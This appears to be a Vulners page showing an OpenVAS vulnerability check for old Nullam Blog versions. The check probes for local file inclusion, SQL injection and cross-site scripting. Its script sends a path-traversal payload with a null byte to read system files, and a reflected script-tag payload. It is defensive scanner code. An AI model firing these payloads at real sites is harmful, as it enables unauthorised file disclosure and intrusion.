Lucene search
+L

Nullam Blog Multiple Vulnerabilities

🗓️ 31 Oct 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

Nullam Blog Multiple Vulnerabilities. Unverified input inclusion and SQL injection. Impact: Information disclosure, cross-site scripting, and SQL injection. Affected version: Nullam Blog prior to 0.1.3 on Linux. Solution: Upgrade to 0.1.3 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3664
10 Sep 200900:00
circl
circl
Circl
CVE-2009-3665
10 Sep 200900:00
circl
circl
Circl
CVE-2009-3666
10 Sep 200900:00
circl
cve
CVE
CVE-2009-3664
11 Oct 200922:00
cve
cve
CVE
CVE-2009-3665
11 Oct 200922:00
cve
cve
CVE
CVE-2009-3666
11 Oct 200922:00
cve
cvelist
Cvelist
CVE-2009-3664
11 Oct 200922:00
cvelist
cvelist
Cvelist
CVE-2009-3665
11 Oct 200922:00
cvelist
cvelist
Cvelist
CVE-2009-3666
11 Oct 200922:00
cvelist
exploitdb
Exploit DB
nullam blog 0.1.2 - Local File Inclusion / File Disclosure / SQL Injection / Cross-Site Scripting
10 Sep 200900:00
exploitdb
Rows per page
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900888");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-10-31 09:54:01 +0100 (Sat, 31 Oct 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-3664", "CVE-2009-3665", "CVE-2009-3666");
  script_name("Nullam Blog Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/advisories/36648");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9625");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/53217");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to disclose sensitive information
  and conduct cross-site scripting and SQL injection attacks.");

  script_tag(name:"affected", value:"Nullam Blog version prior to 0.1.3 on Linux.");

  script_tag(name:"insight", value:"- Input passed to the 'p' and 's' parameter in index.php is not properly
  verified before being used to include files. This can be exploited to include arbitrary files from local resources.

  - Input passed to the 'i' and 'v' parameter in index.php is not properly sanitised before being used in SQL queries.
  This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

  - Input passed to the 'e' parameter in index.php is not properly sanitised before being returned to the user.
  This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context
  of an affected site.");

  script_tag(name:"solution", value:"Upgrade to Nullam Blog version 0.1.3 or later.");

  script_tag(name:"summary", value:"Nullam Blog is prone to multiple vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique("/", "/nullam", "/blog", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  rcvRes1 = http_get_cache( item: dir + "/index.php", port:port );

  if( rcvRes1 =~ "^HTTP/1\.[01] 200" && "<title>Nullam</title>" >< rcvRes1 ) {

    foreach file( keys( files ) ) {

      foreach item( make_list( "s", "p" ) ) {

        url = dir + "/index.php?" + item + "=../../../../../../" + files[file] + "%00";

        if( http_vuln_check( port:port, url:url, pattern:file ) ) {
          report = http_report_vuln_url( port:port, url:url );
          security_message( port:port, data:report );
          exit( 0 );
        }
      }
    }

    url = dir + "/index.php?p=error&e=<script>alert" + "('VT-SQL-Injection-Test');</script>";
    sndReq2 = http_get( item:url, port:port );
    rcvRes2 = http_keepalive_send_recv( port:port, data:sndReq2 );

    if( rcvRes2 =~ "^HTTP/1\.[01] 200" && "<script>alert('VT-SQL-Injection-Test');</script>" >< rcvRes2 ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 27.5
EPSS0.05974
18